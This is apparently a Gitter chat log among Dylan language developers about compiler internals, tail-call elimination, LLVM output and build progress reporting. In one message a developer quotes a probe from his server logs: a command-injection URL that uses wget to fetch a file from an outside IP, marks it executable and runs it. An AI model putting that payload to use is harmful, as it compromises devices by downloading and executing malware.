Where communities thrive


  • Join over 1.5M+ people
  • Join over 100K+ communities
  • Free without limits
  • Create your own community
People
Activity
  • Jan 16 04:02
    housel commented #1321
  • Jan 15 18:04

    cgay on master

    Don't clutter buffer list with … Merge pull request #63 from cga… (compare)

  • Jan 15 18:04
    cgay closed #63
  • Jan 15 18:03
    cgay closed #6
  • Jan 15 18:03

    cgay on master

    Move base protocol code into pr… Add 'define handler' macro Move utility functions into mis… and 3 more (compare)

  • Jan 14 04:26

    housel on master

    dfmc-debug-back-end: Gracefully… Merge pull request #1415 from h… (compare)

  • Jan 14 04:26
    housel closed #1415
  • Jan 12 06:32
    housel opened #1415
  • Jan 11 13:46

    cgay on master

    io: print object-id as decimal … Merge pull request #1414 from c… (compare)

  • Jan 11 13:46
    cgay closed #1414
  • Jan 11 05:36
    cgay opened #1414
  • Jan 10 18:56
    cgay edited #6
  • Jan 10 18:55
    cgay opened #6
  • Jan 10 18:14
    cgay opened #24
  • Jan 10 02:54
    cgay opened #63
  • Jan 10 00:17

    cgay on master

    Don't use web locators It's ju… Don't log extremely verbose mes… Implement textDocument/publishD… and 1 more (compare)

  • Jan 10 00:17
    cgay closed #5
  • Jan 09 05:27
    cgay opened #5
  • Jan 08 02:20

    cgay on master

    README.md: Fix dylan-tool URL Update to latest pacman & works… Cleanups for setup.el Create s… and 9 more (compare)

  • Jan 08 02:20
    cgay closed #4
Peter S. Housel
@housel
😟
What kind of attempts?
Writing code to escape, or just spamming the input?
Carl Gay
@cgay
GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" is one of the more interesting ones.
A lot are just GET /, I assume looking for particular type of web server.
A lot are looking at variants of /provisioning
Carl Gay
@cgay
Actually, I shared it privately with one guy on Twitter who said he was going to learn Dylan. It's possible he did that many GET /. Seemed like a lot but I can check the debug logs.

I was thinking the message implementation would just be <byte-vector>, or you'd just build-message into a <buffer>, with no intermediate objects

I think you're thinking of the serialization step?

cgay @cgay hears a mouse trap snap in the basement.
Peter S. Housel
@housel
Limiting functionality to the serialization and deserialization aspects, yes
Carl Gay
@cgay
I haven't thought much about how that will work but at some level it's just keeping an association between init-keywords and field numbers in the metadata of each message.
Peter S. Housel
@housel
Right
I’ve added code to jam to report the total number of build commands it has to execute and how far along it is in the build
Now I just need to implement the progress bar
Something like https://github.com/rsalmei/alive-progress is tempting
Carl Gay
@cgay
Wow. :)
Carl Gay
@cgay
A frustrating aspect of the Go implementation is that there's no way to add functionality to the generated structs. We should have no problem doing that.
Carl Gay
@cgay
Only the last function, ccc shows up on the stack. Why is that?
define not-inline function aaa () bbb() end;
define not-inline function bbb () ccc() end;
define not-inline function ccc () break("hi there") end;
aaa()
I guess because not-inline doesn't mean don't do tail call optimization.
Peter S. Housel
@housel
tail call elim
jmp KbbbVhello_worldI # TAILCALL
Carl Gay
@cgay
Looks like the directory created under _build/build is based on the name of the LID file rather than the library name. Shouldn't it use the library name?
Peter S. Housel
@housel
See sources/project-manager/user-projects/disk-layout.dylan line 89
project-manager is kind of opinionated
Carl Gay
@cgay
I can't find any assembler output with the -assemble flag. Is that expected to work with the LLVM back-end?
Peter S. Housel
@housel
No, that only works for HARP
Carl Gay
@cgay
ok
Peter S. Housel
@housel
I do e.g. clang -O2 -fexceptions -S ./Bootstrap.3/build/hello-world/hello.bcmanually after the build
Add -emit-llvm if you want to see LLVM assembly rather than native platform assembly
Carl Gay
@cgay
hrm, where is the output expected to go? next to hello.bc I would think, but I'm getting nothing.
Peter S. Housel
@housel
current directory
(unless you add -o of course)
Carl Gay
@cgay
d'oh
Carl Gay
@cgay
https://rextester.com/l/common_lisp_online_compiler has a lot of languages and features. I'd ask about adding Dylan but "language must be somewhat popular".
Carl Gay
@cgay
repl.it
Carl Gay
@cgay
Cute way to list your open jobs: https://repl.it/site/jobs
Carl Gay
@cgay
I've decided that I like goto better than Go's alternatives for breaking out of nested loops. :)
Peter S. Housel
@housel
Knuth would be proud
Carl Gay
@cgay
It's a choice between label: for { for { break label } } and for { for { goto label } } label: and the latter seems more natural since the label is where I want to go in the code.
Peter S. Housel
@housel
Perl last label is like Go break label (and doesn't provide goto)
Carl Gay
@cgay
No comments on any of the compiler progress reporting code. Feel like maybe attitudes have improved on comments in recent decades. /grump
Peter S. Housel
@housel
You mean dfmc/management/progress-reports.dylan, or something else?
Carl Gay
@cgay
I mean that attempting to follow the code from the -verbose flag to where "Generating code for " is output I found (apparently) multiple mechanisms for reporting progress with similar sounding names but none of it had useful comments. The IDE (or Google's code search tools) would really help me here.
Carl Gay
@cgay
I think in general the per-file progress notes aren't very interesting, even with the -verbose flag, but there's a lot of interesting info like the timing/allocation stats.
Peter S. Housel
@housel
Last night I prototyped the CLI progress bar; I’ll try to do a screen recording
Works in emacs shell buffers as well
Carl Gay
@cgay
Looks good
Carl Gay
@cgay
Every language choses different behavior for split("thing", ""). Maybe that's an indication that signaling an error is best.